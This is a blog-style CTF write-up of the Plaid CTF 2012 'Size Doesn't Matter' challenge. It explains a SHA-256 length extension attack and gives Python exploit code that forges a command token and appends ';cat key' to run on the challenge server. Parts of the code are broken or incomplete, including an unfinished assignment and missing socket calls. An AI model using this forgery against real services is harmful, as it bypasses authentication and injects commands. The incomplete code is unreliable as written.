Plaid CTF 2012 - "Size doesn't matter"

2012 Apr 30

What an awesome CTF. The “Size Doesn’t Matter” challenge read:

Size Doesn’t Matter [250] Password Guessing

We found a pair of robot command execution services running at ports 8888 and

  1. Can you break into it?

The first service, when poked, asked for a command and answered with the following:

Your verification string is valid for your command for 10 seconds: 60a33bc5e3be71846a60b2103e46cce3045e8380e04f9cd69e29c1c575284930

secret: XXXXXXXX

timecode: 12:32:3

command: ls

The second service requested something of the form (after an update of the challenge):

Please send command1;command2;command3::verification

One shall be enough. :-)

After playing a bit with it and seeing that the command input was stripped and filtered to only allow letters, we started fiddling with the token. Looks like SHA-256 in length, so assuming it is, it could be subject to a length extension attack.

Length extension attacks are basically a property of Merkle–Damgård construction. Think of it this way: a SHA-2 digest is essentially the internal function state after consuming the message, its padding (if any) plus the length in bits. If you wanted, you could grab it, initialize a SHA-2 implementation with it and the length of the processed message thus far, and continue hashing additional blocks. The end result is the digest of:

[ Initial message | 0x80 | Padding | Length | Concatenated message ]

Now as the commands were fed to bash by a Python script, concatenating a semicolon plus a cat key will presumably get us where we want. The good folks at vnsecurity had already provided an implementation I modified. So off we go,

#!/usr/bin/env python
import sha256 # PyPy's sha256 module works.
import struct

class shaext:
    Performs SHA-256 length extension.
    def __init__(self, origtext, keylen, origsig):
        self.origtext = origtext
        self.keylen = keylen
        self.origsig = origsig
        self.addtext = ''

    def init(self):
        count = (self.keylen + len(self.origtext)) * 8
        index = (count >> 3) & 0x3FL
        padLen = 120 - index
        if index < 56:
            padLen = 56 - index
        padding = '\x80' + '\x00' * 63

        self.input = self.origtext + padding[:padLen] + struct.pack('<Q', count)
        count = (self.keylen + len(self.input)) * 8
        self.impl = sha256.sha256()
        self.impl._sha['count_lo'] = count
        self.impl._sha['count_hi'] = 0

        _digest = self.origsig.decode("hex")
        self.impl._sha['digest'] = [x for x in struct.unpack("<IIIIIIII", _digest)]

    def add(self, addtext):
        self.addtext = self.addtext + addtext

    def final(self):
        new_sig = self.impl.hexdigest()
        new_msg = self.input + self.addtext
        return (new_msg, new_sig)

and then we fiddle with the two services, like so:

import socket, time
import shaext


while True:
    sock_verifier = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    COMMAND = raw_input('cmd? ')
    sock_verifier.send((COMMAND + '\x0a'))
    verification = sock_verifier.recv(256)

    token_begin = verification.find('seconds: ') + len('seconds: ')
    token_end   = verification.find('\x0a');
    token       = verification[token_begin : token_end]
    timecode    = verification[verification.find('timecode: ') + 10 : verification.find('timecode: ') + 17]

    extension = shaext.shaext(COMMAND, 8 + len(timecode), token)
    extension.add(';cat key')
    (new_msg, new_token) =
    print('[+] New command: ' + new_msg)
    print('[+] New token  : ' + new_token)

    command_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    command_sock.connect((IP, PORT2))
    buf = new_msg + '::' + new_token + '\x0a'
    data_rcv2 = command_sock.recv(4096)

Which nets us the key:


Future »

Tagged :